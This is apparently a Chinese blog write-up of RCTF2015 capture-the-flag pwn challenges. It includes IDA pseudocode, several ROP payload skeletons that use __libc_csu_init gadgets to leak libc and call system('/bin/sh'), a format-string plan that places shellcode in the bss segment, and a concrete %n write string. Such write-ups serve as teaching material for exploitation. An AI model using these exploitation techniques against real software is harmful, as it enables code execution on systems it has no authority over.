• RCTF2015 pwn试题分析


    pwn200

    漏洞给的很明显,先是读到了main的局部数组中,然后在子函数中向子函数的局部数组栈里复制。

    总体思路是leak system的地址,然后再向一个固定地址写入/bin/sh,最后执行system函数

    leak使用pwn库的DynELF实现,整体使用rop链。

     1 //ida伪代码
     2 int __fastcall echo(__int64 a1)
     3 {
     4   char s2[16]; // [sp+10h] [bp-10h]@2
     5 
     6   for ( i = 0; *(_BYTE *)(i + a1); ++i )
     7     s2[i] = *(_BYTE *)(i + a1);
     8   s2[i] = 0;
     9   if ( !strcmp("ROIS", s2) )
    10   {
    11     printf("RCTF{Welcome}", s2);
    12     puts(" is not flag");
    13   }
    14   return printf("%s", s2);
    15 }

    这里是把数据复制过来,但是他的判断条件是byte!='x00',就是说如果有'x00'就会停止复制。

    这个就很蛋疼,因为肯定会有00啊。00这个是无法避免的。

    先说一下,这道题是x64环境+nx保护。就是说可以用通用gadget来实现rop的。

    如果不考虑那个截断的事情的话exp是这样的,

    exp='A'*24

    exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

    exp+=p64(0) #令pop rbx为0,使得call正确执行

    exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

    exp+=p64(write@got) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

    exp+=p64(8) #pop r13 3号参数了

    exp+=p64(leak adress)#pop r14 2号参数了

    exp+=p64(1)#pop r15 1号参数了    

    exp+=p64(0x0400880)#这个就跳去执行call了

    exp+='A' * 56 #这是共抬了56个字节的栈

    exp+=p64(0x4007cd) #从头开始了

    上面那个就是正常的利用__libc_csu_init的通用跳板进行rop的方法。我们看一下这样行不行?明显不行会断在exp+=p64(0)这里。但是由于main栈里也有,就再构造一个pop4ret去读main的栈了。

    这样就可以成功的不受'x00'限制了。不过我觉得这个应该是设计的比较好,因为如果距离不是32字节是96字节怎么办?不会有pop12ret吧?

    接下来的任务就是构造rop链,实现写入/bin/sh和执行sysem了,这时假设我们已经leak出system的地址了。

    exp='A'*24

    exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

    exp+=p64(0) #令pop rbx为0,使得call正确执行

    exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

    exp+=p64(system) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

    exp+=p64(8) #pop r13 3号参数了

    exp+=p64(save adress)#pop r14 2号参数了

    exp+=p64(1)#pop r15 1号参数了    

    exp+=p64(0x0400880)#这个就跳去执行call了

    exp+='A' * 56 #这是共抬了56个字节的栈

    exp+=p64(0x4007cd)# 可见套路都是一样的

    注意要把leak 出来的system写到一个可知的地址才可以使用。

    最后再来一遍

    exp='A'*24

    exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

    exp+=p64(0) #令pop rbx为0,使得call正确执行

    exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

    exp+=p64(save adress) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

    exp+=p64(0) #pop r13 3号参数了

    exp+=p64(0)#pop r14 2号参数了

    exp+=p64(save adress+8)#pop r15 1号参数了    

    exp+=p64(0x0400880)#这个就跳去执行call了

    exp+='A' * 56 #这是共抬了56个字节的栈

    exp+=p64(0x4007cd)# 可见套路都是一样的

     下面来实际的调试一下,用gdb加载程序,在0x400750处下断点,这是复制的指令,在这里可以看到复制在栈中的起点,不要相信IDA的栈结构那个是不准的,得自己调试来看。

    由图可知要3*8=24byte。再来确定下main函数的buf的位置距离这里有多远。发现其实就在紧接着栈顶的地方。那么我们就要构造rop去生成一个leak函数了。首先找一下可以使用的rop指令

    由图就可以看出来,其实能用的只有0x40089A这么一个地方。x64参数不是用栈传的而是用寄存器传的,那么就该用我们上面说的所谓的gadgets了。http://www.cnblogs.com/Ox9A82/p/5487725.html 这里写了如何使用,上面也描述了,我们直接上。

    'A'*24+

    p64(POP4RET)+ #为了跳过上面那24个A+这个本身

    P64(gad1)+ #0x40089A

    p64(0)+

    p64(1)+

    p64(puts)+

    p64(0)+

    p64(0)+

    p64(address)+

    p64(gad2)+ #0x400880

    'A'*56+

    p64(main)

    pwn300

    这是个格式化字符串的题。但是,不是常见的那种格式化字符串漏洞。首先,格式化字符串是存在堆里的,没有办法直接去读格式化串。其次,每次触发格式化函数都执行了一次,没有办法在栈里构造跳板。

    但是也有优点,就是会往一个bss段里读入数据,如果是想构造/bin/sh还是很方便的。

    由于不能读到格式化串,所以就无法实现任意地址写入。

    这是执行到触发格式化字符串漏洞的函数时的完整栈帧情况。

    可见,这时栈里没有什么搞头。如果可以连续执行两次漏洞函数,那么就可以利用0xbffff44c这个值在栈里构造跳板,但是这里只能执行一次栈帧就释放了,不可能构造跳板。

    然后,我就不知道怎么做了= =

    看了一波六星的writeup,他是这么写的

    上图是复旦六星的writeup。

    它的意思是还是要在栈上构造一个跳板。但是这需要在此函数中有两次调用漏洞函数的机会。

    这是怎么回事呢?我先理一理,这个程序用push ret写法搞的很讨厌,因为F5后不能清晰的看到流程,搞的很乱。

    理一下程序流程:

    1. 循环:获取输入(到.bss:0804A0A0 ; char s[2048])
    2. 循环:进行解码
    3. 循环:解密结果输出到bss段(.bss:0804A8A0 ; char byte_804A8A0[2048])
    4. 循环:进行解码
    5. 循环:触发漏洞函数
    6. 循环:输出bss段的结果

    可见bss段适合放一些/bin/sh这类的乱七八糟的东西。

    但是怎么劫持eip呢?这么一看还真是在栈中构造跳板,我之前说只调用一次栈帧就释放了。居然没想到利用main函数的栈帧。。。。

    这就十分尴尬了。但是还有问题就是栈的位置怎么确定?leak是可以看到的栈的位置的但是感觉太麻烦。但是。。。。好像也只能leak了啊~

    因为要写地址进去的,不获取栈的准确地址是不可能的。而且这不是缓冲区溢出那种漏洞可以构造rop链的,就是说既使我控制了eip也不能够实现控制参数,那索性就直接把shellcode写入bss段中了,(注意,这道题没有NX保护,故可以在bss段里执行shellcode

    直接蹦过去执行算了。

    那么思路就是:

    1.构造leak栈地址的格式化符,发送过去

    2.在main函数的栈帧用接收的leak地址构造跳板

    3.把shellcode做base64加密传进去,使shellcode存在于bss段中

    4.最后构造使用跳板的格式化串,修改返回地址到bss段的shellcode中。

    这样有一个问题就是shellcode会被盖住一部分,我想只要错开一个偏移应该就可以了吧。

    最蛋疼的是六星居然没有放exp出来,网上也搜不到这道题的exp,为了验证自己的想法只好自己写了。

    以下是详细的解题过程,首先看下call    _snprintf时栈的情况,如下图所示。我们要做的就是先向红圈地址写入0xbffff0c8。作为跳板来改变返回地址。

    那这里使用的就是"%134520872x%20$n",根据程序设定进行base64后是。

    这里写一些welpwn的exp编写过程,首先考虑的是跳到主函数的栈祯中执行。在IDA中搜索pop指令,找到如下一处位置

    .text:000000000040089A                 pop     rbx
    .text:000000000040089B                 pop     rbp
    .text:000000000040089C                 pop     r12
    .text:000000000040089E                 pop     r13
    .text:00000000004008A0                 pop     r14
    .text:00000000004008A2                 pop     r15
    .text:00000000004008A4                 retn

    对.text:00000000004007CC                 retn下断点,看下返回时堆栈距离main有多远。

  • 相关阅读:
    kubeadm快捷k8s集群
    常用my.cnf
    cka考试 列出命名空间下指定标签pod
    mysql 巡检项
    1、什么原因可能导致主从同步延时,怎么判断,怎么处理?
    Linux运维常用操作培训用例
    RMAN 还原与恢复
    常见网络故障及其维修方法
    Oracle ORA01654 解决方案
    Oracle中 dba_* 和 v$* 表区别
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5488002.html
Copyright © 2020-2023  润新知